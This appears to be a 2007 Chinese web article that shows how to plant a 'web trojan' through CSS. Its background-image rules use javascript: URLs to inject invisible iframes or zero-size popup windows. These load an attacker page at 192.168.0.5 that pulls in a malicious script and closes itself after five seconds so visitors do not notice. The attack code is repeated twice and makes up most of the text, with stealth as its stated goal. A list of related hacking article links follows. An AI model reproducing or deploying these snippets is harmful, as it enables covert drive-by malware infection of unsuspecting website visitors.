真正能用,還有點效果的CSS掛馬代碼的方法
更新時間:2007年10月08日 22:43:39 作者:
網上流行的:
body
{
background-image: url('javascript:document.write("<Iframe src=http://192.168.0.5/test.htm width=0 height=0></iframe>")')
}
//此方法會使主頁不正常.返回一片空白.
用彈窗.
body
{
background-image: url('javascript:open("http://192.168.0.5/test.htm")')
}
//彈出一個框.難看 易被發(fā)現(xiàn).
改進一下:
body
{
background-image: url(javascript:open('http://192.168.0.5/test.htm','newwindow','height=0, width=0, top=1000, left=0, toolbar=no, menubar=no, scrollbars=no, resizable=no,location=no, status=no'))
}
test.htm里面的代碼,a.js為你的網馬,彈出一個不可見的窗口,并在5秒自動后關閉沒提示:
<script src="a.js"></script>
<script>
window.opener=null;setTimeout("window.close();",5000);
</script>
a.js內容:
document.write('<Iframe src="http://192.168.0.5/calc.htm"></iframe>');
請指教.
body
{
background-image: url('javascript:document.write("<Iframe src=http://192.168.0.5/test.htm width=0 height=0></iframe>")')
}
//此方法會使主頁不正常.返回一片空白.
用彈窗.
body
{
background-image: url('javascript:open("http://192.168.0.5/test.htm")')
}
//彈出一個框.難看 易被發(fā)現(xiàn).
改進一下:
body
{
background-image: url(javascript:open('http://192.168.0.5/test.htm','newwindow','height=0, width=0, top=1000, left=0, toolbar=no, menubar=no, scrollbars=no, resizable=no,location=no, status=no'))
}
test.htm里面的代碼,a.js為你的網馬,彈出一個不可見的窗口,并在5秒自動后關閉沒提示:
<script src="a.js"></script>
<script>
window.opener=null;setTimeout("window.close();",5000);
</script>
a.js內容:
document.write('<Iframe src="http://192.168.0.5/calc.htm"></iframe>');
請指教.
相關文章
Iptables防火墻limit模塊擴展匹配規(guī)則詳解
這篇文章主要為大家介紹了Iptables防火墻limit模塊擴展匹配規(guī)則詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進步,早日升職加薪2022-08-08跨站腳本攻擊XSS(Cross Site Script)的原理與常見場景分析
XSS指的是惡意攻擊者往Web頁面里插入惡意html代碼,當用戶瀏覽該頁之時,嵌入其中Web里面的html代碼會被執(zhí)行,從而達到惡意攻擊用戶的特殊目的。這篇文章主要給大家介紹了關于跨站腳本攻擊XSS(Cross Site Script)的原理與常見場景的相關資料,需要的朋友可以參考下。2017-12-12當網站不允許上傳asp cer cdx htr文件時的一個解決方法!
當網站不允許上傳asp cer cdx htr文件時的一個解決方法!...2006-12-12黑客入侵Windows XP系統(tǒng)常用七大招數(shù)
黑客入侵Windows XP系統(tǒng)常用七大招數(shù)...2006-10-10